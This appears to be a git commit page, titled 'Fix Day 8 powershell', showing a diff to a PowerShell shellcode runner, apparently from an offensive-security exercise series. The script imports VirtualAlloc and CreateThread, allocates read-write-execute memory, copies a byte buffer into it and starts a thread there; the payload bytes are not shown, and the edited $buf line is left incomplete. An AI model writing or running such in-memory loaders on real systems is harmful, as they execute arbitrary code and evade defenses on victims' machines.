Fix Day 8 powershell
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
$Shell = ""
|
||||
[Byte[]] $buf =
|
||||
Add-Type @"
|
||||
public class Win
|
||||
{
|
||||
@@ -12,7 +12,6 @@ public class Win
|
||||
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
||||
}
|
||||
"@
|
||||
[Byte[]] $buf = $Shell
|
||||
[IntPtr]$addr = [Win]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40)
|
||||
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.Length)
|
||||
$thandle = [Win]::CreateThread(0, 0, $addr, 0, 0, 0)
|
||||
|
Reference in New Issue
Block a user